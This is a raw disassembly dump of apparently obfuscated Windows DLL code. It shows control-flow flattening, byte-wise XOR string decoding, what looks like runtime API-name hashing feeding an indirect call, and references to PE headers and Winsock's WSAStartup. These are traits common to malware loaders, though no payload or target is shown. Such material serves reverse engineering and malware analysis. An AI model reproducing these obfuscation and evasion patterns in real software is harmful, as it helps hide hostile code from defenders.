mov eax, r11d
jmp 0x180037000
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 2], cl
mov ecx, 0x97fb8291
nop
cmp ecx, 0x97fb8291
je 0x1800370e5
cmp ecx, 0xdd5a4a6e
jne 0x1800370d0
jmp 0x18003763b
mov ecx, 0xdd5a4a6e
jmp 0x1800370d0
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x1800376a1
cmp edx, 0xedca38df
jne 0x180037110
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x180037110
mov byte [rbp + 0x110], cl
mov cl, byte [rbp + 0x110]
mov byte [rax + 7], cl
add rax, 8
mov qword [rbp + 0xe8], rax
lea rax, [0x18011faf2]
mov qword [rbp + 0xf8], rax
mov ecx, 0xb64482a
nop word cs:[rax + rax]
nop
cmp ecx, 0xb644829
jg 0x180037190
cmp ecx, 0x9bc72262
je 0x1800371d9
cmp ecx, 0xac67d1a4
jne 0x180037170
jmp 0x1800376dc
cmp ecx, 0x43c71485
je 0x18003721c
cmp ecx, 0xb64482a
jne 0x180037170
mov rdx, qword [rbp + 0xf8]
mov cl, byte [rbp + 0x198]
add cl, 7
xor cl, byte [rdx]
mov edx, 0x3ab3246b
nop dword [rax + rax]
cmp edx, 0x3ab3246b
je 0x1800371d2
cmp edx, 0xa6a051f9
jne 0x1800371c0
jmp 0x18003723c
mov edx, 0xa6a051f9
jmp 0x1800371c0
mov rax, qword [rbp + 0x100]
mov cl, byte [rbp + 0xd0]
mov byte [rax], cl
mov rax, qword [rbp + 0x100]
mov cl, byte [rbp + 0x198]
lea edx, [rcx + 9]
xor dl, 0x46
mov ebx, 0x3ab3246b
cmp ebx, 0x3ab3246b
je 0x180037215
cmp ebx, 0xa6a051f9
jne 0x180037200
jmp 0x180037299
mov ebx, 0xa6a051f9
jmp 0x180037200
mov byte [rax], 0
add rax, 1
cmp rax, qword [rbp + 0x110]
mov ecx, 0x43c71485
mov edx, 0xac67d1a4
cmove ecx, edx
jmp 0x180037170
mov byte [rbp + 0xd8], cl
mov cl, byte [rbp + 0xd8]
mov rdx, qword [rbp + 0xe8]
mov byte [rdx], cl
mov rcx, qword [rbp + 0xe8]
add rcx, 1
mov qword [rbp + 0x100], rcx
mov cl, byte [rbp + 0x198]
add cl, 8
xor cl, 0x65
mov edx, 0x3ab3246b
nop word cs:[rax + rax]
nop
cmp edx, 0x3ab3246b
je 0x180037292
cmp edx, 0xa6a051f9
jne 0x180037280
jmp 0x1800372d9
mov edx, 0xa6a051f9
jmp 0x180037280
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 1], dl
lea edx, [rcx + 0xa]
xor dl, 0x69
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x3ab3246b
je 0x1800372d2
cmp ebx, 0xa6a051f9
jne 0x1800372c0
jmp 0x1800372f5
mov ebx, 0xa6a051f9
jmp 0x1800372c0
mov byte [rbp + 0xd8], cl
mov cl, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], cl
mov ecx, 0x9bc72262
jmp 0x180037170
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 2], dl
lea edx, [rcx + 0xb]
xor dl, 0x6c
mov ebx, 0x3ab3246b
nop
cmp ebx, 0x3ab3246b
je 0x180037322
cmp ebx, 0xa6a051f9
jne 0x180037310
jmp 0x180037329
mov ebx, 0xa6a051f9
jmp 0x180037310
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 3], dl
lea edx, [rcx + 0xc]
xor dl, 0x65
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x3ab3246b
je 0x180037362
cmp ebx, 0xa6a051f9
jne 0x180037350
jmp 0x180037369
mov ebx, 0xa6a051f9
jmp 0x180037350
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 4], dl
lea edx, [rcx + 0xd]
xor dl, 0x4e
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x3ab3246b
je 0x1800373a2
cmp ebx, 0xa6a051f9
jne 0x180037390
jmp 0x1800373a9
mov ebx, 0xa6a051f9
jmp 0x180037390
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 5], dl
lea edx, [rcx + 0xe]
xor dl, 0x61
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x3ab3246b
je 0x1800373e2
cmp ebx, 0xa6a051f9
jne 0x1800373d0
jmp 0x1800373e9
mov ebx, 0xa6a051f9
jmp 0x1800373d0
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 6], dl
lea edx, [rcx + 0xf]
xor dl, 0x6d
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x3ab3246b
je 0x180037422
cmp ebx, 0xa6a051f9
jne 0x180037410
jmp 0x180037429
mov ebx, 0xa6a051f9
jmp 0x180037410
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 7], dl
lea edx, [rcx + 0x10]
xor dl, 0x65
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x3ab3246b
je 0x180037462
cmp ebx, 0xa6a051f9
jne 0x180037450
jmp 0x180037469
mov ebx, 0xa6a051f9
jmp 0x180037450
mov byte [rbp + 0xd8], dl
mov dl, byte [rbp + 0xd8]
mov byte [rax + 8], dl
add cl, 0x11
xor cl, 0x57
mov edx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3ab3246b
je 0x1800374a2
cmp edx, 0xa6a051f9
jne 0x180037490
jmp 0x1800374a9
mov edx, 0xa6a051f9
jmp 0x180037490
mov byte [rbp + 0xd8], cl
mov cl, byte [rbp + 0xd8]
mov byte [rax + 9], cl
add rax, 0xa
mov rcx, qword [rbp + 0xf0]
add rcx, 0x14
mov qword [rbp + 0x110], rcx
mov ecx, 0x43c71485
jmp 0x180037170
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 0xe], dx
mov dword [rbp + 0x110], 0x2e
mov edx, 0xb00971f2
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xe22e0eda
je 0x180037cd5
cmp edx, 0xb00971f2
jne 0x180037510
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180037542
cmp ecx, 0x66b4b012
jne 0x180037530
jmp 0x180037549
mov ecx, 0x66b4b012
jmp 0x180037530
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x180037510
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x10], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x1800375b0
cmp eax, 0x35970d82
je 0x180037d5e
cmp eax, 0x51578b1e
je 0x1800375c3
cmp eax, 0x5c7aabd7
jne 0x180037580
mov eax, 0x2963d5c2
jmp 0x180037580
cmp eax, 0x801a95b8
je 0x1800375e7
cmp eax, 0x2963d5c2
jne 0x180037580
mov eax, r10d
jmp 0x180037580
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x1800375e0
cmp eax, 0x8cebb28b
jne 0x1800375d0
jmp 0x180037607
mov eax, 0x8cebb28b
jmp 0x1800375d0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180037600
cmp eax, 0x8cebb28b
jne 0x1800375f0
jmp 0x18003761f
mov eax, 0x8cebb28b
jmp 0x1800375f0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180037580
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 8
xor esi, 0x65
mov eax, r11d
jmp 0x180037580
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x65
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop word cs:[rax + rax]
cmp edx, 0x9c671e68
je 0x180037e3b
cmp edx, 0xeb1dc982
jne 0x180037680
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x180037680
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 3], cl
mov dword [rbp + 0x100], 0x75
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x1800376d5
cmp ecx, 0xd85e0dcf
jne 0x1800376c0
jmp 0x180037e6c
mov ecx, 0xd85e0dcf
jmp 0x1800376c0
mov ecx, 0xe5dc03f2
jmp 0x180037700
mov byte [rbp + 0xd8], cl
mov cl, byte [rbp + 0xd8]
mov rdx, qword [rbp + 0x100]
mov byte [rdx], cl
mov ecx, 0xdead3ada
nop dword [rax]
cmp ecx, 0xff9949ab
jg 0x180037740
cmp ecx, 0xe5dc03f1
jg 0x180037780
cmp ecx, 0xca897d15
je 0x18003783c
cmp ecx, 0xdead3ada
jne 0x180037885
mov ecx, 0xff9949ac
mov rax, qword [rbp + 0xf8]
jmp 0x180037700
cmp ecx, 0x63316229
jg 0x1800377e0
cmp ecx, 0xff9949ac
je 0x180037850
cmp ecx, 0x5256ca74
jne 0x180037700
mov qword [rbp + 0xf0], rdi
mov rcx, qword [rbp + 0xf0]
add rcx, 0x13
mov qword [rbp + 0xe8], rcx
mov ecx, 0xca897d15
jmp 0x180037700
cmp ecx, 0xe5dc03f2
je 0x18003786f
cmp ecx, 0xf91cfd5f
jne 0x180037700
mov rcx, qword [rbp + 0x110]
add rcx, 1
mov qword [rbp + 0xf8], rcx
mov rcx, qword [rbp + 0xf8]
add rcx, rdi
mov qword [rbp + 0x100], rcx
mov rcx, qword [rbp + 0x100]
mov cl, byte [rcx]
mov byte [rbp + 0xd0], cl
mov ecx, 0x79f1316d
jmp 0x180037700
cmp ecx, 0x6331622a
je 0x180037879
cmp ecx, 0x79f1316d
jne 0x180037700
mov dl, byte [rbp + 0xd0]
mov rcx, qword [rbp + 0x110]
add cl, byte [rbp + 0x198]
xor cl, dl
mov edx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3ab3246b
je 0x180037835
cmp edx, 0xa6a051f9
jne 0x180037820
jmp 0x1800376e3
mov edx, 0xa6a051f9
jmp 0x180037820
mov rcx, qword [rbp + 0xe8]
mov byte [rcx], 0
mov ecx, 0xb35d8c3e
jmp 0x180037700
mov qword [rbp + 0x110], rax
mov rcx, qword [rbp + 0x110]
cmp rcx, 0x12
mov ecx, 0x5256ca74
cmovb ecx, esi
jmp 0x180037700
mov ecx, 0x6331622a
jmp 0x180037700
mov ecx, 0xff9949ac
xor eax, eax
jmp 0x180037700
cmp ecx, 0xb35d8c3e
jne 0x180037700
mov r10, qword [rbp + 0xf0]
add r10, 1
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x180037930
mov eax, dword [rbp + 0xe8]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x110]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x1800379a0
cmp edx, 0x333d8297
jle 0x1800379f0
cmp edx, 0x5cca55f4
jg 0x180037a6a
cmp edx, 0x333d8298
je 0x180037b2d
cmp edx, 0x33ec62ab
je 0x180037b42
cmp edx, 0x42d422e5
jne 0x180037930
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd8]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0xc4], edx
mov edx, dword [rbp + 0xc4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r15d
jmp 0x180037930
cmp edx, 0xc5fd57a7
jle 0x180037a30
cmp edx, 0xeb000b68
jg 0x180037a9a
cmp edx, 0xc5fd57a8
je 0x180037b52
cmp edx, 0xd1e81d16
je 0x180037b60
cmp edx, 0xd597d4ff
jne 0x180037930
mov edx, 0x42d422e5
mov ebx, dword [rbp + 0xc0]
jmp 0x180037930
cmp edx, 0x12a1b9d7
jle 0x180037acc
cmp edx, 0x12a1b9d8
je 0x180037b79
cmp edx, 0x181b9de8
je 0x180037b88
cmp edx, 0x28ad3f39
jne 0x180037930
mov edx, 0x73f80f82
jmp 0x180037930
cmp edx, 0xb163ad29
jle 0x180037afe
cmp edx, 0xb163ad2a
je 0x180037bb8
cmp edx, 0xb9d33223
je 0x180037be1
cmp edx, 0xbb6ed30e
jne 0x180037930
mov edx, 0x12a1b9d8
jmp 0x180037930
cmp edx, 0x5cca55f5
je 0x180037bf1
cmp edx, 0x7343bfbc
je 0x1800378df
cmp edx, 0x73f80f82
jne 0x180037930
mov edx, 0x42d422e5
xor ebx, ebx
jmp 0x180037930
cmp edx, 0xeb000b69
je 0x180037c0a
cmp edx, 0xfb306983
jne 0x180037c7f
mov edx, dword [rbp + 0xc4]
cmp edx, 0x7f
setl byte [rbp + 0xe6]
mov edx, 0x333d8298
jmp 0x180037930
cmp edx, 0xfe90a09c
je 0x180037c35
cmp edx, 0x1dd0b01
jne 0x180037930
mov eax, dword [rbp + 0x10c]
cmp eax, 0x5b
setl byte [rbp + 0xe7]
mov edx, 0xd1e81d16
jmp 0x180037930
cmp edx, 0x87cbc1a8
je 0x180037c65
cmp edx, 0x9302de66
jne 0x180037930
mov rcx, qword [rbp + 0x100]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xd0]
jmp 0x180037930
cmp byte [rbp + 0xe6], 0
mov edx, 0xbb6ed30e
cmovne edx, r14d
jmp 0x180037930
mov edx, 0xc5fd57a8
mov edi, dword [rbp + 0xc8]
jmp 0x180037930
mov dword [rbp + 0xe8], edi
mov edx, r9d
jmp 0x180037930
cmp byte [rbp + 0xe7], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x180037930
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180037930
movsxd rax, dword [rbp + 0xe8]
xor rax, qword [rbp + 0x110]
imul rax, r13
mov qword [rbp + 0x100], rax
mov eax, dword [rbp + 0xf0]
add eax, 1
mov dword [rbp + 0xd0], eax
mov edx, r8d
jmp 0x180037930
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x110], rcx
mov edx, dword [rbp + 0xd8]
mov eax, dword [rbp + 0xf0]
cmp eax, edx
mov edx, 0xf6d6bd87
cmovb edx, r11d
jmp 0x180037930
mov edx, 0xc5fd57a8
mov edi, dword [rbp + 0x10c]
jmp 0x180037930
mov edx, dword [rbp + 0xd8]
add edx, 1
mov dword [rbp + 0xc0], edx
mov edx, 0xd597d4ff
jmp 0x180037930
mov rax, qword [rbp + 0xf8]
movsx eax, byte [rax]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x10c]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x180037930
mov eax, dword [rbp + 0x10c]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0xc8], eax
mov edx, 0x33ec62ab
jmp 0x180037930
mov eax, dword [rbp + 0xf0]
add rax, r10
mov qword [rbp + 0xf8], rax
mov edx, 0xeb000b69
jmp 0x180037930
cmp edx, 0xf6d6bd87
jne 0x180037930
mov rcx, qword [rbp + 0x110]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
lea rcx, [rbp + 0x1b0]
mov qword [rbp - 8], rcx
mov rcx, qword [rbp + 0x10]
mov rcx, qword [rcx]
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov r8d, 0x400
call rax
mov r11d, 0x87cbc1a8
add rsp, 0x20
mov eax, 0xf24d576b
jmp 0x18002d840
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 0x10], dx
add rax, 0x12
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0x110], 0x65
mov ecx, 0xb00971f2
nop word [rax + rax]
cmp ecx, 0xe22e0eda
je 0x180037eb7
cmp ecx, 0xb00971f2
jne 0x180037d10
mov eax, 0x98373600
nop dword [rax]
cmp eax, 0x98373600
je 0x180037d40
cmp eax, 0x66b4b012
jne 0x180037d30
jmp 0x180037d47
mov eax, 0x66b4b012
jmp 0x180037d30
mov word [rbp + 0x100], 1
movzx eax, word [rbp + 0x100]
mov ecx, 0xe22e0eda
jmp 0x180037d10
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x12], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x180037db0
cmp eax, 0x35970d82
je 0x1800380ae
cmp eax, 0x51578b1e
je 0x180037dc3
cmp eax, 0x5c7aabd7
jne 0x180037d80
mov eax, 0x2963d5c2
jmp 0x180037d80
cmp eax, 0x801a95b8
je 0x180037de7
cmp eax, 0x2963d5c2
jne 0x180037d80
mov eax, r10d
jmp 0x180037d80
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180037de0
cmp eax, 0x8cebb28b
jne 0x180037dd0
jmp 0x180037e07
mov eax, 0x8cebb28b
jmp 0x180037dd0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180037e00
cmp eax, 0x8cebb28b
jne 0x180037df0
jmp 0x180037e1f
mov eax, 0x8cebb28b
jmp 0x180037df0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180037d80
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 9
xor esi, 0x20
mov eax, r11d
jmp 0x180037d80
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 3], cl
mov ecx, 0x97fb8291
nop
cmp ecx, 0x97fb8291
je 0x180037e65
cmp ecx, 0xdd5a4a6e
jne 0x180037e50
jmp 0x18003818b
mov ecx, 0xdd5a4a6e
jmp 0x180037e50
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x1800381f1
cmp edx, 0xedca38df
jne 0x180037e90
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x180037e90
mov word [rbp + 0x100], ax
movzx eax, word [rbp + 0x100]
mov ecx, dword [rbp + 0x110]
add cx, ax
mov word [rbp + 0xd8], cx
mov eax, 0x919f3455
nop word [rax + rax]
cmp eax, 0xfb175db9
je 0x18003822c
cmp eax, 0x919f3455
jne 0x180037ee0
mov rax, qword [rbp + 0xf8]
movzx ecx, word [rbp + 0xd8]
mov word [rax], cx
mov rax, qword [rbp + 0xf8]
mov dword [rbp + 0xe8], pe_nt_image_headers64
mov edx, 0xb00971f2
nop dword [rax]
cmp edx, 0xe22e0eda
je 0x180037f70
cmp edx, 0xb00971f2
jne 0x180037f20
mov ecx, 0x98373600
nop word cs:[rax + rax]
nop
cmp ecx, 0x98373600
je 0x180037f52
cmp ecx, 0x66b4b012
jne 0x180037f40
jmp 0x180037f59
mov ecx, 0x66b4b012
jmp 0x180037f40
mov word [rbp + 0xf0], 1
movzx ecx, word [rbp + 0xf0]
mov edx, 0xe22e0eda
jmp 0x180037f20
mov word [rbp + 0xf0], cx
movzx ecx, word [rbp + 0xf0]
mov edx, dword [rbp + 0xe8]
add dx, cx
mov word [rax + 2], dx
mov dword [rbp + 0xe8], 0x65
mov edx, 0xb00971f2
nop word [rax + rax]
cmp edx, 0xe22e0eda
je 0x180037ff0
cmp edx, 0xb00971f2
jne 0x180037fa0
mov ecx, 0x98373600
nop word cs:[rax + rax]
nop
cmp ecx, 0x98373600
je 0x180037fd2
cmp ecx, 0x66b4b012
jne 0x180037fc0
jmp 0x180037fd9
mov ecx, 0x66b4b012
jmp 0x180037fc0
mov word [rbp + 0xf0], 1
movzx ecx, word [rbp + 0xf0]
mov edx, 0xe22e0eda
jmp 0x180037fa0
mov word [rbp + 0xf0], cx
movzx ecx, word [rbp + 0xf0]
mov edx, dword [rbp + 0xe8]
add dx, cx
mov word [rax + 4], dx
mov dword [rbp + 0xe8], 0x20
mov edx, 0xb00971f2
nop word [rax + rax]
cmp edx, 0xe22e0eda
je 0x180038070
cmp edx, 0xb00971f2
jne 0x180038020
mov ecx, 0x98373600
nop word cs:[rax + rax]
nop
cmp ecx, 0x98373600
je 0x180038052
cmp ecx, 0x66b4b012
jne 0x180038040
jmp 0x180038059
mov ecx, 0x66b4b012
jmp 0x180038040
mov word [rbp + 0xf0], 1
movzx ecx, word [rbp + 0xf0]
mov edx, 0xe22e0eda
jmp 0x180038020
mov word [rbp + 0xf0], cx
movzx ecx, word [rbp + 0xf0]
mov edx, dword [rbp + 0xe8]
add dx, cx
mov word [rax + 6], dx
add rax, 8
mov qword [rbp + 0x100], rax
lea rax, [0x18011fba2]
mov qword [rbp + 0x110], rax
mov eax, 0xfb175db9
jmp 0x180037ee0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x14], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x180038100
cmp eax, 0x35970d82
je 0x18003829e
cmp eax, 0x51578b1e
je 0x180038113
cmp eax, 0x5c7aabd7
jne 0x1800380d0
mov eax, 0x2963d5c2
jmp 0x1800380d0
cmp eax, 0x801a95b8
je 0x180038137
cmp eax, 0x2963d5c2
jne 0x1800380d0
mov eax, r10d
jmp 0x1800380d0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180038130
cmp eax, 0x8cebb28b
jne 0x180038120
jmp 0x180038157
mov eax, 0x8cebb28b
jmp 0x180038120
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180038150
cmp eax, 0x8cebb28b
jne 0x180038140
jmp 0x18003816f
mov eax, 0x8cebb28b
jmp 0x180038140
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x1800380d0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0xa
xor esi, 0x43
mov eax, r11d
jmp 0x1800380d0
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x4e
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop word cs:[rax + rax]
cmp edx, 0x9c671e68
je 0x18003837b
cmp edx, 0xeb1dc982
jne 0x1800381d0
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x1800381d0
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 4], cl
mov dword [rbp + 0x100], 0x65
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x180038225
cmp ecx, 0xd85e0dcf
jne 0x180038210
jmp 0x1800383ac
mov ecx, 0xd85e0dcf
jmp 0x180038210
mov rax, qword [rbp + 0x110]
movzx eax, word [rax]
mov dword [rbp + 0xe8], eax
mov ecx, 0xb00971f2
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xe22e0eda
je 0x1800383f7
cmp ecx, 0xb00971f2
jne 0x180038250
mov eax, 0x98373600
nop dword [rax]
cmp eax, 0x98373600
je 0x180038280
cmp eax, 0x66b4b012
jne 0x180038270
jmp 0x180038287
mov eax, 0x66b4b012
jmp 0x180038270
mov word [rbp + 0xf0], 1
movzx eax, word [rbp + 0xf0]
mov ecx, 0xe22e0eda
jmp 0x180038250
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x16], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x1800382f0
cmp eax, 0x35970d82
je 0x180038480
cmp eax, 0x51578b1e
je 0x180038303
cmp eax, 0x5c7aabd7
jne 0x1800382c0
mov eax, 0x2963d5c2
jmp 0x1800382c0
cmp eax, 0x801a95b8
je 0x180038327
cmp eax, 0x2963d5c2
jne 0x1800382c0
mov eax, r10d
jmp 0x1800382c0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180038320
cmp eax, 0x8cebb28b
jne 0x180038310
jmp 0x180038347
mov eax, 0x8cebb28b
jmp 0x180038310
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180038340
cmp eax, 0x8cebb28b
jne 0x180038330
jmp 0x18003835f
mov eax, 0x8cebb28b
jmp 0x180038330
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x1800382c0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0xb
xor esi, 0x61
mov eax, r11d
jmp 0x1800382c0
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 4], cl
mov ecx, 0x97fb8291
nop
cmp ecx, 0x97fb8291
je 0x1800383a5
cmp ecx, 0xdd5a4a6e
jne 0x180038390
jmp 0x18003855b
mov ecx, 0xdd5a4a6e
jmp 0x180038390
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x1800385c1
cmp edx, 0xedca38df
jne 0x1800383d0
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x1800383d0
mov word [rbp + 0xf0], ax
movzx eax, word [rbp + 0xf0]
mov ecx, dword [rbp + 0xe8]
add cx, ax
mov rax, qword [rbp + 0x100]
mov word [rax], cx
mov rax, qword [rbp + 0x100]
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
mov edx, 0xb00971f2
nop
cmp edx, 0xe22e0eda
je 0x1800385fc
cmp edx, 0xb00971f2
jne 0x180038430
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180038462
cmp ecx, 0x66b4b012
jne 0x180038450
jmp 0x180038469
mov ecx, 0x66b4b012
jmp 0x180038450
mov word [rbp + 0xf0], 1
movzx ecx, word [rbp + 0xf0]
mov edx, 0xe22e0eda
jmp 0x180038430
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x18], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x1800384d0
cmp eax, 0x35970d82
je 0x180038680
cmp eax, 0x51578b1e
je 0x1800384e3
cmp eax, 0x5c7aabd7
jne 0x1800384a0
mov eax, 0x2963d5c2
jmp 0x1800384a0
cmp eax, 0x801a95b8
je 0x180038507
cmp eax, 0x2963d5c2
jne 0x1800384a0
mov eax, r10d
jmp 0x1800384a0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180038500
cmp eax, 0x8cebb28b
jne 0x1800384f0
jmp 0x180038527
mov eax, 0x8cebb28b
jmp 0x1800384f0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180038520
cmp eax, 0x8cebb28b
jne 0x180038510
jmp 0x18003853f
mov eax, 0x8cebb28b
jmp 0x180038510
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x1800384a0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0xc
xor esi, 0x63
mov eax, r11d
jmp 0x1800384a0
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x61
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop word cs:[rax + rax]
cmp edx, 0x9c671e68
je 0x18003875b
